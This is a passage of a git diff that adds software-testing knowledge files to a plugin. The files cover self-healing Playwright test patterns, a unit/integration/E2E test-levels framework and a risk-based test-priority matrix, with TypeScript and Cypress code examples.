+    /expected.*\d+.*received.*\d+/i, // ID mismatches
+    /expected.*\d{4}-\d{2}-\d{2}.*received/i, // Date mismatches
+    /expected.*user.*\d+/i, // Dynamic user IDs
+    /expected.*order.*\d+/i, // Dynamic order IDs
+    /expected.*to.*contain.*\d+/i, // Numeric assertions
+  ];
+
+  return patterns.some((pattern) => pattern.test(error.message));
+}
+
+/**
+ * Suggest flexible assertion pattern
+ */
+export function suggestFlexibleAssertion(errorMessage: string): string {
+  if (/expected.*user.*\d+/i.test(errorMessage)) {
+    return `
+// ❌ Bad: Hardcoded ID
+// await expect(page.getByText('User 123')).toBeVisible()
+
+// ✅ Good: Regex pattern for any user ID
+await expect(page.getByText(/User \\d+/)).toBeVisible()
+
+// OR use partial match
+await expect(page.locator('[data-testid="user-name"]')).toContainText('User')
+    `.trim();
+  }
+
+  if (/expected.*\d{4}-\d{2}-\d{2}/i.test(errorMessage)) {
+    return `
+// ❌ Bad: Hardcoded date
+// await expect(page.getByText('2024-01-15')).toBeVisible()
+
+// ✅ Good: Dynamic date validation
+const today = new Date().toISOString().split('T')[0]
+await expect(page.getByTestId('created-date')).toHaveText(today)
+
+// OR use date format regex
+await expect(page.getByTestId('created-date')).toHaveText(/\\d{4}-\\d{2}-\\d{2}/)
+    `.trim();
+  }
+
+  if (/expected.*order.*\d+/i.test(errorMessage)) {
+    return `
+// ❌ Bad: Hardcoded order ID
+// const orderId = '12345'
+
+// ✅ Good: Capture dynamic order ID
+const orderText = await page.getByTestId('order-id').textContent()
+const orderId = orderText?.match(/Order #(\\d+)/)?.[1]
+expect(orderId).toBeTruthy()
+
+// Use captured ID in later assertions
+await expect(page.getByText(\`Order #\${orderId} confirmed\`)).toBeVisible()
+    `.trim();
+  }
+
+  return `Use regex patterns, partial matching, or capture dynamic values instead of hardcoding`;
+}
+```
+
+**Healing Implementation**:
+
+```typescript
+// tests/healing/data-healing.spec.ts
+import { test, expect } from '@playwright/test';
+
+test('heal dynamic ID assertion with regex', async ({ page }) => {
+  await page.goto('/users');
+
+  // ❌ Original (fails with random IDs): await expect(page.getByText('User 123')).toBeVisible()
+
+  // ✅ Healed: Regex pattern matches any user ID
+  await expect(page.getByText(/User \d+/)).toBeVisible();
+});
+
+test('heal timestamp assertion with dynamic generation', async ({ page }) => {
+  await page.goto('/dashboard');
+
+  // ❌ Original (fails daily): await expect(page.getByText('2024-01-15')).toBeVisible()
+
+  // ✅ Healed: Generate expected date dynamically
+  const today = new Date().toISOString().split('T')[0];
+  await expect(page.getByTestId('last-updated')).toContainText(today);
+});
+
+test('heal order ID assertion with capture', async ({ page, request }) => {
+  // Create order via API (dynamic ID)
+  const response = await request.post('/api/orders', {
+    data: { productId: '123', quantity: 1 },
+  });
+  const { orderId } = await response.json();
+
+  // ✅ Healed: Use captured dynamic ID
+  await page.goto(`/orders/${orderId}`);
+  await expect(page.getByText(`Order #${orderId}`)).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- Diagnosis: Error message shows expected vs actual value mismatch with IDs/timestamps
+- Fix: Use regex patterns (`/User \d+/`), partial matching, or capture dynamic values
+- Prevention: Never hardcode IDs, timestamps, or random data in assertions
+- Automation: Parse error message for expected/actual values, suggest regex patterns
+
+---
+
+### Example 4: Common Failure Pattern - Network Errors (Missing Route Interception)
+
+**Context**: Test fails with "API call failed" or "500 error" during test execution
+
+**Diagnostic Signature**:
+
+```typescript
+// src/testing/healing/network-healing.ts
+
+export type NetworkFailure = {
+  errorMessage: string;
+  url: string;
+  statusCode: number;
+  method: string;
+};
+
+/**
+ * Detect network failure
+ */
+export function isNetworkFailure(error: Error): boolean {
+  const patterns = [
+    /api.*call.*failed/i,
+    /request.*failed/i,
+    /network.*error/i,
+    /500.*internal server error/i,
+    /503.*service unavailable/i,
+    /fetch.*failed/i,
+  ];
+
+  return patterns.some((pattern) => pattern.test(error.message));
+}
+
+/**
+ * Suggest route interception
+ */
+export function suggestRouteInterception(url: string, method: string): string {
+  return `
+// ❌ Bad: Real API call (unreliable, slow, external dependency)
+
+// ✅ Good: Mock API response with route interception
+await page.route('${url}', route => {
+  route.fulfill({
+    status: 200,
+    contentType: 'application/json',
+    body: JSON.stringify({
+      // Mock response data
+      id: 1,
+      name: 'Test User',
+      email: 'test@example.com'
+    })
+  })
+})
+
+// Then perform action
+await page.goto('/page')
+  `.trim();
+}
+```
+
+**Healing Implementation**:
+
+```typescript
+// tests/healing/network-healing.spec.ts
+import { test, expect } from '@playwright/test';
+
+test('heal network failure with route mocking', async ({ page, context }) => {
+  // ✅ Healed: Mock API to prevent real network calls
+  await context.route('**/api/products', (route) => {
+    route.fulfill({
+      status: 200,
+      contentType: 'application/json',
+      body: JSON.stringify({
+        products: [
+          { id: 1, name: 'Product A', price: 29.99 },
+          { id: 2, name: 'Product B', price: 49.99 },
+        ],
+      }),
+    });
+  });
+
+  await page.goto('/products');
+
+  // Test now reliable (no external API dependency)
+  await expect(page.getByText('Product A')).toBeVisible();
+  await expect(page.getByText('$29.99')).toBeVisible();
+});
+
+test('heal 500 error with error state mocking', async ({ page, context }) => {
+  // Mock API failure scenario
+  await context.route('**/api/products', (route) => {
+    route.fulfill({ status: 500, body: JSON.stringify({ error: 'Internal Server Error' }) });
+  });
+
+  await page.goto('/products');
+
+  // Verify error handling (not crash)
+  await expect(page.getByText('Unable to load products')).toBeVisible();
+  await expect(page.getByRole('button', { name: 'Retry' })).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- Diagnosis: Error message contains "API call failed", "500 error", or network-related failures
+- Fix: Add `page.route()` or `cy.intercept()` to mock API responses
+- Prevention: Mock ALL external dependencies (APIs, third-party services)
+- Automation: Extract URL from error message, generate route interception code
+
+---
+
+### Example 5: Common Failure Pattern - Hard Waits (Unreliable Timing)
+
+**Context**: Test fails intermittently with "timeout exceeded" or passes/fails randomly
+
+**Diagnostic Signature**:
+
+```typescript
+// src/testing/healing/hard-wait-healing.ts
+
+/**
+ * Detect hard wait anti-pattern in test code
+ */
+export function detectHardWaits(testCode: string): Array<{ line: number; code: string }> {
+  const lines = testCode.split('\n');
+  const violations: Array<{ line: number; code: string }> = [];
+
+  lines.forEach((line, index) => {
+    if (line.includes('page.waitForTimeout(') || /cy\.wait\(\d+\)/.test(line) || line.includes('sleep(') || line.includes('setTimeout(')) {
+      violations.push({ line: index + 1, code: line.trim() });
+    }
+  });
+
+  return violations;
+}
+
+/**
+ * Suggest event-based wait replacement
+ */
+export function suggestEventBasedWait(hardWaitLine: string): string {
+  if (hardWaitLine.includes('page.waitForTimeout')) {
+    return `
+// ❌ Bad: Hard wait (flaky)
+${hardWaitLine}
+
+// ✅ Good: Wait for network response
+await page.waitForResponse(resp => resp.url().includes('/api/') && resp.ok())
+
+// OR wait for element state change
+await page.getByTestId('loading-spinner').waitFor({ state: 'detached' })
+await page.getByTestId('content').waitFor({ state: 'visible' })
+    `.trim();
+  }
+
+  if (/cy\.wait\(\d+\)/.test(hardWaitLine)) {
+    return `
+// ❌ Bad: Hard wait (flaky)
+${hardWaitLine}
+
+// ✅ Good: Wait for aliased request
+cy.intercept('GET', '/api/data').as('getData')
+cy.visit('/page')
+cy.wait('@getData') // Deterministic
+    `.trim();
+  }
+
+  return 'Replace hard waits with event-based waits (waitForResponse, waitFor state changes)';
+}
+```
+
+**Healing Implementation**:
+
+```typescript
+// tests/healing/hard-wait-healing.spec.ts
+import { test, expect } from '@playwright/test';
+
+test('heal hard wait with deterministic wait', async ({ page }) => {
+  await page.goto('/dashboard');
+
+  // ❌ Original (flaky): await page.waitForTimeout(3000)
+
+  // ✅ Healed: Wait for loading spinner to disappear
+  await page.getByTestId('loading-spinner').waitFor({ state: 'detached' });
+
+  // OR wait for specific network response
+  await page.waitForResponse((resp) => resp.url().includes('/api/dashboard') && resp.ok());
+
+  await expect(page.getByText('Dashboard ready')).toBeVisible();
+});
+
+test('heal implicit wait with explicit network wait', async ({ page }) => {
+  const responsePromise = page.waitForResponse('**/api/products');
+
+  await page.goto('/products');
+
+  // ❌ Original (race condition): await page.getByText('Product A').click()
+
+  // ✅ Healed: Wait for network first
+  await responsePromise;
+  await page.getByText('Product A').click();
+
+  await expect(page).toHaveURL(/\/products\/\d+/);
+});
+```
+
+**Key Points**:
+
+- Diagnosis: Test code contains `page.waitForTimeout()` or `cy.wait(number)`
+- Fix: Replace with `waitForResponse()`, `waitFor({ state })`, or aliased intercepts
+- Prevention: NEVER use hard waits, always use event-based/response-based waits
+- Automation: Scan test code for hard wait patterns, suggest deterministic replacements
+
+---
+
+## Healing Pattern Catalog
+
+| Failure Type   | Diagnostic Signature                          | Healing Strategy                      | Prevention Pattern                        |
+| -------------- | --------------------------------------------- | ------------------------------------- | ----------------------------------------- |
+| Stale Selector | "locator resolved to 0 elements"              | Replace with data-testid or ARIA role | Selector hierarchy (testid > ARIA > text) |
+| Race Condition | "timeout waiting for element"                 | Add network-first interception        | Intercept before navigate                 |
+| Dynamic Data   | "Expected 'User 123' but got 'User 456'"      | Use regex or capture dynamic values   | Never hardcode IDs/timestamps             |
+| Network Error  | "API call failed", "500 error"                | Add route mocking                     | Mock all external dependencies            |
+| Hard Wait      | Test contains `waitForTimeout()` or `wait(n)` | Replace with event-based waits        | Always use deterministic waits            |
+
+## Healing Workflow
+
+1. **Run test** → Capture failure
+2. **Identify pattern** → Match error against diagnostic signatures
+3. **Apply fix** → Use pattern-based healing strategy
+4. **Re-run test** → Validate fix (max 3 iterations)
+5. **Mark unfixable** → Use `test.fixme()` if healing fails after 3 attempts
+
+## Healing Checklist
+
+Before enabling auto-healing in workflows:
+
+- [ ] **Failure catalog documented**: Common patterns identified (selectors, timing, data, network, hard waits)
+- [ ] **Diagnostic signatures defined**: Error message patterns for each failure type
+- [ ] **Healing strategies documented**: Fix patterns for each failure type
+- [ ] **Prevention patterns documented**: Best practices to avoid recurrence
+- [ ] **Healing iteration limit set**: Max 3 attempts before marking test.fixme()
+- [ ] **MCP integration optional**: Graceful degradation without Playwright MCP
+- [ ] **Pattern-based fallback**: Use knowledge base patterns when MCP unavailable
+- [ ] **Healing report generated**: Document what was healed and how
+
+## Integration Points
+
+- **Used in workflows**: `*automate` (auto-healing after test generation), `*atdd` (optional healing for acceptance tests)
+- **Related fragments**: `selector-resilience.md` (selector debugging), `timing-debugging.md` (race condition fixes), `network-first.md` (interception patterns), `data-factories.md` (dynamic data handling)
+- **Tools**: Error message parsing, AST analysis for code patterns, Playwright MCP (optional), pattern matching
+
+_Source: Playwright test-healer patterns, production test failure analysis, common anti-patterns from test-resources-for-ai_
diff --git a/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/test-levels-framework.md b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/test-levels-framework.md
new file mode 100644
index 0000000..ed3418a
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/test-levels-framework.md
@@ -0,0 +1,473 @@
+<!-- Powered by BMAD-CORE™ -->
+
+# Test Levels Framework
+
+Comprehensive guide for determining appropriate test levels (unit, integration, E2E) for different scenarios.
+
+## Test Level Decision Matrix
+
+### Unit Tests
+
+**When to use:**
+
+- Testing pure functions and business logic
+- Algorithm correctness
+- Input validation and data transformation
+- Error handling in isolated components
+- Complex calculations or state machines
+
+**Characteristics:**
+
+- Fast execution (immediate feedback)
+- No external dependencies (DB, API, file system)
+- Highly maintainable and stable
+- Easy to debug failures
+
+**Example scenarios:**
+
+```yaml
+unit_test:
+  component: 'PriceCalculator'
+  scenario: 'Calculate discount with multiple rules'
+  justification: 'Complex business logic with multiple branches'
+  mock_requirements: 'None - pure function'
+```
+
+### Integration Tests
+
+**When to use:**
+
+- Component interaction verification
+- Database operations and transactions
+- API endpoint contracts
+- Service-to-service communication
+- Middleware and interceptor behavior
+
+**Characteristics:**
+
+- Moderate execution time
+- Tests component boundaries
+- May use test databases or containers
+- Validates system integration points
+
+**Example scenarios:**
+
+```yaml
+integration_test:
+  components: ['UserService', 'AuthRepository']
+  scenario: 'Create user with role assignment'
+  justification: 'Critical data flow between service and persistence'
+  test_environment: 'In-memory database'
+```
+
+### End-to-End Tests
+
+**When to use:**
+
+- Critical user journeys
+- Cross-system workflows
+- Visual regression testing
+- Compliance and regulatory requirements
+- Final validation before release
+
+**Characteristics:**
+
+- Slower execution
+- Tests complete workflows
+- Requires full environment setup
+- Most realistic but most brittle
+
+**Example scenarios:**
+
+```yaml
+e2e_test:
+  journey: 'Complete checkout process'
+  scenario: 'User purchases with saved payment method'
+  justification: 'Revenue-critical path requiring full validation'
+  environment: 'Staging with test payment gateway'
+```
+
+## Test Level Selection Rules
+
+### Favor Unit Tests When:
+
+- Logic can be isolated
+- No side effects involved
+- Fast feedback needed
+- High cyclomatic complexity
+
+### Favor Integration Tests When:
+
+- Testing persistence layer
+- Validating service contracts
+- Testing middleware/interceptors
+- Component boundaries critical
+
+### Favor E2E Tests When:
+
+- User-facing critical paths
+- Multi-system interactions
+- Regulatory compliance scenarios
+- Visual regression important
+
+## Anti-patterns to Avoid
+
+- E2E testing for business logic validation
+- Unit testing framework behavior
+- Integration testing third-party libraries
+- Duplicate coverage across levels
+
+## Duplicate Coverage Guard
+
+**Before adding any test, check:**
+
+1. Is this already tested at a lower level?
+2. Can a unit test cover this instead of integration?
+3. Can an integration test cover this instead of E2E?
+
+**Coverage overlap is only acceptable when:**
+
+- Testing different aspects (unit: logic, integration: interaction, e2e: user experience)
+- Critical paths requiring defense in depth
+- Regression prevention for previously broken functionality
+
+## Test Naming Conventions
+
+- Unit: `test_{component}_{scenario}`
+- Integration: `test_{flow}_{interaction}`
+- E2E: `test_{journey}_{outcome}`
+
+## Test ID Format
+
+`{EPIC}.{STORY}-{LEVEL}-{SEQ}`
+
+Examples:
+
+- `1.3-UNIT-001`
+- `1.3-INT-002`
+- `1.3-E2E-001`
+
+## Real Code Examples
+
+### Example 1: E2E Test (Full User Journey)
+
+**Scenario**: User logs in, navigates to dashboard, and places an order.
+
+```typescript
+// tests/e2e/checkout-flow.spec.ts
+import { test, expect } from '@playwright/test';
+import { createUser, createProduct } from '../test-utils/factories';
+
+test.describe('Checkout Flow', () => {
+  test('user can complete purchase with saved payment method', async ({ page, apiRequest }) => {
+    // Setup: Seed data via API (fast!)
+    const user = createUser({ email: 'buyer@example.com', hasSavedCard: true });
+    const product = createProduct({ name: 'Widget', price: 29.99, stock: 10 });
+
+    await apiRequest.post('/api/users', { data: user });
+    await apiRequest.post('/api/products', { data: product });
+
+    // Network-first: Intercept BEFORE action
+    const loginPromise = page.waitForResponse('**/api/auth/login');
+    const cartPromise = page.waitForResponse('**/api/cart');
+    const orderPromise = page.waitForResponse('**/api/orders');
+
+    // Step 1: Login
+    await page.goto('/login');
+    await page.fill('[data-testid="email"]', user.email);
+    await page.fill('[data-testid="password"]', 'password123');
+    await page.click('[data-testid="login-button"]');
+    await loginPromise;
+
+    // Assert: Dashboard visible
+    await expect(page).toHaveURL('/dashboard');
+    await expect(page.getByText(`Welcome, ${user.name}`)).toBeVisible();
+
+    // Step 2: Add product to cart
+    await page.goto(`/products/${product.id}`);
+    await page.click('[data-testid="add-to-cart"]');
+    await cartPromise;
+    await expect(page.getByText('Added to cart')).toBeVisible();
+
+    // Step 3: Checkout with saved payment
+    await page.goto('/checkout');
+    await expect(page.getByText('Visa ending in 1234')).toBeVisible(); // Saved card
+    await page.click('[data-testid="use-saved-card"]');
+    await page.click('[data-testid="place-order"]');
+    await orderPromise;
+
+    // Assert: Order confirmation
+    await expect(page.getByText('Order Confirmed')).toBeVisible();
+    await expect(page.getByText(/Order #\d+/)).toBeVisible();
+    await expect(page.getByText('$29.99')).toBeVisible();
+  });
+});
+```
+
+**Key Points (E2E)**:
+
+- Tests complete user journey across multiple pages
+- API setup for data (fast), UI for assertions (user-centric)
+- Network-first interception to prevent flakiness
+- Validates critical revenue path end-to-end
+
+### Example 2: Integration Test (API/Service Layer)
+
+**Scenario**: UserService creates user and assigns role via AuthRepository.
+
+```typescript
+// tests/integration/user-service.spec.ts
+import { test, expect } from '@playwright/test';
+import { createUser } from '../test-utils/factories';
+
+test.describe('UserService Integration', () => {
+  test('should create user with admin role via API', async ({ request }) => {
+    const userData = createUser({ role: 'admin' });
+
+    // Direct API call (no UI)
+    const response = await request.post('/api/users', {
+      data: userData,
+    });
+
+    expect(response.status()).toBe(201);
+
+    const createdUser = await response.json();
+    expect(createdUser.id).toBeTruthy();
+    expect(createdUser.email).toBe(userData.email);
+    expect(createdUser.role).toBe('admin');
+
+    // Verify database state
+    const getResponse = await request.get(`/api/users/${createdUser.id}`);
+    expect(getResponse.status()).toBe(200);
+
+    const fetchedUser = await getResponse.json();
+    expect(fetchedUser.role).toBe('admin');
+    expect(fetchedUser.permissions).toContain('user:delete');
+    expect(fetchedUser.permissions).toContain('user:update');
+
+    // Cleanup
+    await request.delete(`/api/users/${createdUser.id}`);
+  });
+
+  test('should validate email uniqueness constraint', async ({ request }) => {
+    const userData = createUser({ email: 'duplicate@example.com' });
+
+    // Create first user
+    const response1 = await request.post('/api/users', { data: userData });
+    expect(response1.status()).toBe(201);
+
+    const user1 = await response1.json();
+
+    // Attempt duplicate email
+    const response2 = await request.post('/api/users', { data: userData });
+    expect(response2.status()).toBe(409); // Conflict
+    const error = await response2.json();
+    expect(error.message).toContain('Email already exists');
+
+    // Cleanup
+    await request.delete(`/api/users/${user1.id}`);
+  });
+});
+```
+
+**Key Points (Integration)**:
+
+- Tests service layer + database interaction
+- No UI involved—pure API validation
+- Business logic focus (role assignment, constraints)
+- Faster than E2E, more realistic than unit tests
+
+### Example 3: Component Test (Isolated UI Component)
+
+**Scenario**: Test button component in isolation with props and user interactions.
+
+```typescript
+// src/components/Button.cy.tsx (Cypress Component Test)
+import { Button } from './Button';
+
+describe('Button Component', () => {
+  it('should render with correct label', () => {
+    cy.mount(<Button label="Click Me" />);
+    cy.contains('Click Me').should('be.visible');
+  });
+
+  it('should call onClick handler when clicked', () => {
+    const onClickSpy = cy.stub().as('onClick');
+    cy.mount(<Button label="Submit" onClick={onClickSpy} />);
+
+    cy.get('button').click();
+    cy.get('@onClick').should('have.been.calledOnce');
+  });
+
+  it('should be disabled when disabled prop is true', () => {
+    cy.mount(<Button label="Disabled" disabled={true} />);
+    cy.get('button').should('be.disabled');
+    cy.get('button').should('have.attr', 'aria-disabled', 'true');
+  });
+
+  it('should show loading spinner when loading', () => {
+    cy.mount(<Button label="Loading" loading={true} />);
+    cy.get('[data-testid="spinner"]').should('be.visible');
+    cy.get('button').should('be.disabled');
+  });
+
+  it('should apply variant styles correctly', () => {
+    cy.mount(<Button label="Primary" variant="primary" />);
+    cy.get('button').should('have.class', 'btn-primary');
+
+    cy.mount(<Button label="Secondary" variant="secondary" />);
+    cy.get('button').should('have.class', 'btn-secondary');
+  });
+});
+
+// Playwright Component Test equivalent
+import { test, expect } from '@playwright/experimental-ct-react';
+import { Button } from './Button';
+
+test.describe('Button Component', () => {
+  test('should call onClick handler when clicked', async ({ mount }) => {
+    let clicked = false;
+    const component = await mount(
+      <Button label="Submit" onClick={() => { clicked = true; }} />
+    );
+
+    await component.getByRole('button').click();
+    expect(clicked).toBe(true);
+  });
+
+  test('should be disabled when loading', async ({ mount }) => {
+    const component = await mount(<Button label="Loading" loading={true} />);
+    await expect(component.getByRole('button')).toBeDisabled();
+    await expect(component.getByTestId('spinner')).toBeVisible();
+  });
+});
+```
+
+**Key Points (Component)**:
+
+- Tests UI component in isolation (no full app)
+- Props + user interactions + visual states
+- Faster than E2E, more realistic than unit tests for UI
+- Great for design system components
+
+### Example 4: Unit Test (Pure Function)
+
+**Scenario**: Test pure business logic function without framework dependencies.
+
+```typescript
+// src/utils/price-calculator.test.ts (Jest/Vitest)
+import { calculateDiscount, applyTaxes, calculateTotal } from './price-calculator';
+
+describe('PriceCalculator', () => {
+  describe('calculateDiscount', () => {
+    it('should apply percentage discount correctly', () => {
+      const result = calculateDiscount(100, { type: 'percentage', value: 20 });
+      expect(result).toBe(80);
+    });
+
+    it('should apply fixed amount discount correctly', () => {
+      const result = calculateDiscount(100, { type: 'fixed', value: 15 });
+      expect(result).toBe(85);
+    });
+
+    it('should not apply discount below zero', () => {
+      const result = calculateDiscount(10, { type: 'fixed', value: 20 });
+      expect(result).toBe(0);
+    });
+
+    it('should handle no discount', () => {
+      const result = calculateDiscount(100, { type: 'none', value: 0 });
+      expect(result).toBe(100);
+    });
+  });
+
+  describe('applyTaxes', () => {
+    it('should calculate tax correctly for US', () => {
+      const result = applyTaxes(100, { country: 'US', rate: 0.08 });
+      expect(result).toBe(108);
+    });
+
+    it('should calculate tax correctly for EU (VAT)', () => {
+      const result = applyTaxes(100, { country: 'DE', rate: 0.19 });
+      expect(result).toBe(119);
+    });
+
+    it('should handle zero tax rate', () => {
+      const result = applyTaxes(100, { country: 'US', rate: 0 });
+      expect(result).toBe(100);
+    });
+  });
+
+  describe('calculateTotal', () => {
+    it('should calculate total with discount and taxes', () => {
+      const items = [
+        { price: 50, quantity: 2 }, // 100
+        { price: 30, quantity: 1 }, // 30
+      ];
+      const discount = { type: 'percentage', value: 10 }; // -13
+      const tax = { country: 'US', rate: 0.08 }; // +9.36
+
+      const result = calculateTotal(items, discount, tax);
+      expect(result).toBeCloseTo(126.36, 2);
+    });
+
+    it('should handle empty items array', () => {
+      const result = calculateTotal([], { type: 'none', value: 0 }, { country: 'US', rate: 0 });
+      expect(result).toBe(0);
+    });
+
+    it('should calculate correctly without discount or tax', () => {
+      const items = [{ price: 25, quantity: 4 }];
+      const result = calculateTotal(items, { type: 'none', value: 0 }, { country: 'US', rate: 0 });
+      expect(result).toBe(100);
+    });
+  });
+});
+```
+
+**Key Points (Unit)**:
+
+- Pure function testing—no framework dependencies
+- Fast execution (milliseconds)
+- Edge case coverage (zero, negative, empty inputs)
+- High cyclomatic complexity handled at unit level
+
+## When to Use Which Level
+
+| Scenario               | Unit          | Integration       | E2E           |
+| ---------------------- | ------------- | ----------------- | ------------- |
+| Pure business logic    | ✅ Primary    | ❌ Overkill       | ❌ Overkill   |
+| Database operations    | ❌ Can't test | ✅ Primary        | ❌ Overkill   |
+| API contracts          | ❌ Can't test | ✅ Primary        | ⚠️ Supplement |
+| User journeys          | ❌ Can't test | ❌ Can't test     | ✅ Primary    |
+| Component props/events | ✅ Partial    | ⚠️ Component test | ❌ Overkill   |
+| Visual regression      | ❌ Can't test | ⚠️ Component test | ✅ Primary    |
+| Error handling (logic) | ✅ Primary    | ⚠️ Integration    | ❌ Overkill   |
+| Error handling (UI)    | ❌ Partial    | ⚠️ Component test | ✅ Primary    |
+
+## Anti-Pattern Examples
+
+**❌ BAD: E2E test for business logic**
+
+```typescript
+// DON'T DO THIS
+test('calculate discount via UI', async ({ page }) => {
+  await page.goto('/calculator');
+  await page.fill('[data-testid="price"]', '100');
+  await page.fill('[data-testid="discount"]', '20');
+  await page.click('[data-testid="calculate"]');
+  await expect(page.getByText('$80')).toBeVisible();
+});
+// Problem: Slow, brittle, tests logic that should be unit tested
+```
+
+**✅ GOOD: Unit test for business logic**
+
+```typescript
+test('calculate discount', () => {
+  expect(calculateDiscount(100, 20)).toBe(80);
+});
+// Fast, reliable, isolated
+```
+
+_Source: Murat Testing Philosophy (test pyramid), existing test-levels-framework.md structure._
diff --git a/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/test-priorities-matrix.md b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/test-priorities-matrix.md
new file mode 100644
index 0000000..deb4306
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/test-priorities-matrix.md
@@ -0,0 +1,373 @@
+<!-- Powered by BMAD-CORE™ -->
+
+# Test Priorities Matrix
+
+Guide for prioritizing test scenarios based on risk, criticality, and business impact.
+
+## Priority Levels
+
+### P0 - Critical (Must Test)
+
+**Criteria:**
+
+- Revenue-impacting functionality
+- Security-critical paths
+- Data integrity operations
+- Regulatory compliance requirements
+- Previously broken functionality (regression prevention)
+
+**Examples:**
+
+- Payment processing
+- Authentication/authorization
+- User data creation/deletion
+- Financial calculations
+- GDPR/privacy compliance
+
+**Testing Requirements:**
+
+- Comprehensive coverage at all levels
+- Both happy and unhappy paths
+- Edge cases and error scenarios
+- Performance under load
+
+### P1 - High (Should Test)
+
+**Criteria:**
+
+- Core user journeys
+- Frequently used features
+- Features with complex logic
+- Integration points between systems
+- Features affecting user experience
+
+**Examples:**
+
+- User registration flow
+- Search functionality
+- Data import/export
+- Notification systems
+- Dashboard displays
+
+**Testing Requirements:**
+
+- Primary happy paths required
+- Key error scenarios
+- Critical edge cases
+- Basic performance validation
+
+### P2 - Medium (Nice to Test)
+
+**Criteria:**
+
+- Secondary features
+- Admin functionality
+- Reporting features
+- Configuration options
+- UI polish and aesthetics
+
+**Examples:**
+
+- Admin settings panels
+- Report generation
+- Theme customization
+- Help documentation
+- Analytics tracking
+
+**Testing Requirements:**
+
+- Happy path coverage
+- Basic error handling
+- Can defer edge cases
+
+### P3 - Low (Test if Time Permits)
+
+**Criteria:**
+
+- Rarely used features
+- Nice-to-have functionality
+- Cosmetic issues
+- Non-critical optimizations
+
+**Examples:**
+
+- Advanced preferences
+- Legacy feature support
+- Experimental features
+- Debug utilities
+
+**Testing Requirements:**
+
+- Smoke tests only
+- Can rely on manual testing
+- Document known limitations
+
+## Risk-Based Priority Adjustments
+
+### Increase Priority When:
+
+- High user impact (affects >50% of users)
+- High financial impact (>$10K potential loss)
+- Security vulnerability potential
+- Compliance/legal requirements
+- Customer-reported issues
+- Complex implementation (>500 LOC)
+- Multiple system dependencies
+
+### Decrease Priority When:
+
+- Feature flag protected
+- Gradual rollout planned
+- Strong monitoring in place
+- Easy rollback capability
+- Low usage metrics
+- Simple implementation
+- Well-isolated component
+
+## Test Coverage by Priority
+
+| Priority | Unit Coverage | Integration Coverage | E2E Coverage       |
+| -------- | ------------- | -------------------- | ------------------ |
+| P0       | >90%          | >80%                 | All critical paths |
+| P1       | >80%          | >60%                 | Main happy paths   |
+| P2       | >60%          | >40%                 | Smoke tests        |
+| P3       | Best effort   | Best effort          | Manual only        |
+
+## Priority Assignment Rules
+
+1. **Start with business impact** - What happens if this fails?
+2. **Consider probability** - How likely is failure?
+3. **Factor in detectability** - Would we know if it failed?
+4. **Account for recoverability** - Can we fix it quickly?
+
+## Priority Decision Tree
+
+```
+Is it revenue-critical?
+├─ YES → P0
+└─ NO → Does it affect core user journey?
+    ├─ YES → Is it high-risk?
+    │   ├─ YES → P0
+    │   └─ NO → P1
+    └─ NO → Is it frequently used?
+        ├─ YES → P1
+        └─ NO → Is it customer-facing?
+            ├─ YES → P2
+            └─ NO → P3
+```
+
+## Test Execution Order
+
+1. Execute P0 tests first (fail fast on critical issues)
+2. Execute P1 tests second (core functionality)
+3. Execute P2 tests if time permits
+4. P3 tests only in full regression cycles
+
+## Continuous Adjustment
+
+Review and adjust priorities based on:
+
+- Production incident patterns
+- User feedback and complaints
+- Usage analytics
+- Test failure history
+- Business priority changes
+
+---
+
+## Automated Priority Classification
+
+### Example: Priority Calculator (Risk-Based Automation)
+
+```typescript
+// src/testing/priority-calculator.ts
+
+export type Priority = 'P0' | 'P1' | 'P2' | 'P3';
+
+export type PriorityFactors = {
+  revenueImpact: 'critical' | 'high' | 'medium' | 'low' | 'none';
+  userImpact: 'all' | 'majority' | 'some' | 'few' | 'minimal';
+  securityRisk: boolean;
+  complianceRequired: boolean;
+  previousFailure: boolean;
+  complexity: 'high' | 'medium' | 'low';
+  usage: 'frequent' | 'regular' | 'occasional' | 'rare';
+};
+
+/**
+ * Calculate test priority based on multiple factors
+ * Mirrors the priority decision tree with objective criteria
+ */
+export function calculatePriority(factors: PriorityFactors): Priority {
+  const { revenueImpact, userImpact, securityRisk, complianceRequired, previousFailure, complexity, usage } = factors;
+
+  // P0: Revenue-critical, security, or compliance
+  if (revenueImpact === 'critical' || securityRisk || complianceRequired || (previousFailure && revenueImpact === 'high')) {
+    return 'P0';
+  }
+
+  // P0: High revenue + high complexity + frequent usage
+  if (revenueImpact === 'high' && complexity === 'high' && usage === 'frequent') {
+    return 'P0';
+  }
+
+  // P1: Core user journey (majority impacted + frequent usage)
+  if (userImpact === 'all' || userImpact === 'majority') {
+    if (usage === 'frequent' || complexity === 'high') {
+      return 'P1';
+    }
+  }
+
+  // P1: High revenue OR high complexity with regular usage
+  if ((revenueImpact === 'high' && usage === 'regular') || (complexity === 'high' && usage === 'frequent')) {
+    return 'P1';
+  }
+
+  // P2: Secondary features (some impact, occasional usage)
+  if (userImpact === 'some' || usage === 'occasional') {
+    return 'P2';
+  }
+
+  // P3: Rarely used, low impact
+  return 'P3';
+}
+
+/**
+ * Generate priority justification (for audit trail)
+ */
+export function justifyPriority(factors: PriorityFactors): string {
+  const priority = calculatePriority(factors);
+  const reasons: string[] = [];
+
+  if (factors.revenueImpact === 'critical') reasons.push('critical revenue impact');
+  if (factors.securityRisk) reasons.push('security-critical');
+  if (factors.complianceRequired) reasons.push('compliance requirement');
+  if (factors.previousFailure) reasons.push('regression prevention');
+  if (factors.userImpact === 'all' || factors.userImpact === 'majority') {
+    reasons.push(`impacts ${factors.userImpact} users`);
+  }
+  if (factors.complexity === 'high') reasons.push('high complexity');
+  if (factors.usage === 'frequent') reasons.push('frequently used');
+
+  return `${priority}: ${reasons.join(', ')}`;
+}
+
+/**
+ * Example: Payment scenario priority calculation
+ */
+const paymentScenario: PriorityFactors = {
+  revenueImpact: 'critical',
+  userImpact: 'all',
+  securityRisk: true,
+  complianceRequired: true,
+  previousFailure: false,
+  complexity: 'high',
+  usage: 'frequent',
+};
+
+console.log(calculatePriority(paymentScenario)); // 'P0'
+console.log(justifyPriority(paymentScenario));
